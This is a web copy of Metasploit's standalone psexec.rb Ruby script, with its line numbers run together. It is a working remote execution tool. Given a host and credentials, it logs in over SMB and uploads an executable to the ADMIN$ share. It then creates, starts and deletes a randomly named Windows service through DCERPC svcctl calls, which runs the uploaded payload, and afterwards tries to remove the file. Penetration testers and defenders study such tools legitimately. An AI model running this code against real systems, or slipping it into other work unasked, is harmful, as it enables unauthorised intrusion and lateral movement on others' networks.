Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/tools/exploit/psexec.rb
Views: 11766
#!/usr/bin/env ruby12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67#8# This is rough and dirty standalone (Rex only) psexec implementation9#10begin11msfbase = __FILE__12while File.symlink?(msfbase)13msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))14end1516gem 'rex-text'1718$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))19require 'msfenv'2021$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']222324require 'rex'25require 'rex/encoder/ndr'262728def print_error(msg)29$stderr.puts "[-] #{msg}"30end3132def print_status(msg)33$stderr.puts "[+] #{msg}"34end3536def print_lines(msg)37$stderr.puts "[+] #{msg}"38end3940def usage41$stderr.puts "#{$0} [host] [exe] [user] [pass]"42exit(0)43end444546def dcerpc_handle(uuid, version, protocol, opts, rhost)47Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts)48end4950def dcerpc_bind(handle, csocket, csimple, cuser, cpass)51opts = { }52opts['connect_timeout'] = 1053opts['read_timeout'] = 1054opts['smb_user'] = cuser55opts['smb_pass'] = cpass56opts['frag_size'] = 51257opts['smb_client'] = csimple5859Rex::Proto::DCERPC::Client.new(handle, csocket, opts)60end6162def dcerpc_call(function, stub = '', timeout=nil, do_recv=true)63otimeout = dcerpc.options['read_timeout']6465begin66dcerpc.options['read_timeout'] = timeout if timeout67dcerpc.call(function, stub, do_recv)68rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse69print_status("The DCERPC service did not reply to our request")70return71ensure72dcerpc.options['read_timeout'] = otimeout73end74end757677opt_port = 44578opt_host = ARGV.shift() || usage()79opt_path = ARGV.shift() || usage()80opt_user = ARGV.shift() || usage()81opt_pass = ARGV.shift() || ""8283opt_share = "ADMIN$"84opt_domain = "."8586begin87socket = Rex::Socket.create_tcp({ 'PeerHost' => opt_host, 'PeerPort' => opt_port.to_i })88rescue Rex::ConnectionRefused, Rex::HostUnreachable => e89print_error("Could not connect: #{e}")90exit(1)91end9293simple = Rex::Proto::SMB::SimpleClient.new(socket, opt_port.to_i == 445, versions = [1, 2])9495simple.login(96Rex::Text.rand_text_alpha(8),97opt_user,98opt_pass,99opt_domain100)101simple.connect("\\\\#{opt_host}\\IPC$")102103if (not simple.client.auth_user)104print_line(" ")105print_error(106"FAILED! The remote host has only provided us with Guest privileges. " +107"Please make sure that the correct username and password have been provided. " +108"Windows XP systems that are not part of a domain will only provide Guest privileges " +109"to network logins by default."110)111print_line(" ")112exit(1)113end114115fname = Rex::Text.rand_text_alpha(8) + ".exe"116sname = Rex::Text.rand_text_alpha(8)117118# Upload the payload to the share119print_status("Uploading payload...")120121simple.connect(opt_share)122123fd = simple.open("\\#{fname}", 'rwct', 500)124File.open(opt_path, "rb") do |efd|125fd << efd.read126end127fd.close128129print_status("Created \\#{fname}...")130131# Disconnect from the share132simple.disconnect(opt_share)133134# Connect to the IPC service135simple.connect("IPC$")136137138# Bind to the service139handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"], opt_host)140print_status("Binding to #{handle} ...")141dcerpc = dcerpc_bind(handle, socket, simple, opt_user, opt_pass)142print_status("Bound to #{handle} ...")143144##145# OpenSCManagerW()146##147148print_status("Obtaining a service manager handle...")149scm_handle = nil150NDR = Rex::Encoder::NDR151stubdata =152NDR.uwstring("\\\\#{opt_host}") +153NDR.long(0) +154NDR.long(0xF003F)155begin156response = dcerpc.call(0x0f, stubdata)157if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)158scm_handle = dcerpc.last_response.stub_data[0,20]159end160rescue ::Exception => e161print_error("Error: #{e}")162return163end164165166##167# CreateServiceW()168##169170file_location = "%SYSTEMROOT%\\#{fname}"171172displayname = 'M' + Rex::Text.rand_text_alpha(rand(32)+1)173svc_handle = nil174svc_status = nil175176print_status("Creating a new service (#{sname} - \"#{displayname}\")...")177stubdata =178scm_handle +179NDR.wstring(sname) +180NDR.uwstring(displayname) +181182NDR.long(0x0F01FF) + # Access: MAX183NDR.long(0x00000110) + # Type: Interactive, Own process184NDR.long(0x00000003) + # Start: Demand185NDR.long(0x00000000) + # Errors: Ignore186NDR.wstring( file_location ) + # Binary Path187NDR.long(0) + # LoadOrderGroup188NDR.long(0) + # Dependencies189NDR.long(0) + # Service Start190NDR.long(0) + # Password191NDR.long(0) + # Password192NDR.long(0) + # Password193NDR.long(0) # Password194begin195response = dcerpc.call(0x0c, stubdata)196if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)197svc_handle = dcerpc.last_response.stub_data[0,20]198svc_status = dcerpc.last_response.stub_data[24,4]199end200rescue ::Exception => e201print_error("Error: #{e}")202exit(1)203end204205##206# CloseHandle()207##208print_status("Closing service handle...")209begin210response = dcerpc.call(0x0, svc_handle)211rescue ::Exception212end213214##215# OpenServiceW216##217print_status("Opening service...")218begin219stubdata =220scm_handle +221NDR.wstring(sname) +222NDR.long(0xF01FF)223224response = dcerpc.call(0x10, stubdata)225if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)226svc_handle = dcerpc.last_response.stub_data[0,20]227end228rescue ::Exception => e229print_error("Error: #{e}")230exit(1)231end232233##234# StartService()235##236print_status("Starting the service...")237stubdata =238svc_handle +239NDR.long(0) +240NDR.long(0)241begin242response = dcerpc.call(0x13, stubdata)243rescue ::Exception => e244print_error("Error: #{e}")245exit(1)246end247248#249# DeleteService()250##251print_status("Removing the service...")252stubdata = svc_handle253begin254response = dcerpc.call(0x02, stubdata)255if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)256end257rescue ::Exception => e258print_error("Error: #{e}")259end260261##262# CloseHandle()263##264print_status("Closing service handle...")265begin266response = dcerpc.call(0x0, svc_handle)267rescue ::Exception => e268print_error("Error: #{e}")269end270271begin272print_status("Deleting \\#{fname}...")273select(nil, nil, nil, 1.0)274simple.connect(smbshare)275simple.delete("\\#{fname}")276rescue ::Interrupt277raise $!278rescue ::Exception279#raise $!280end281rescue SignalException => e282puts("Aborted! #{e}")283end284285286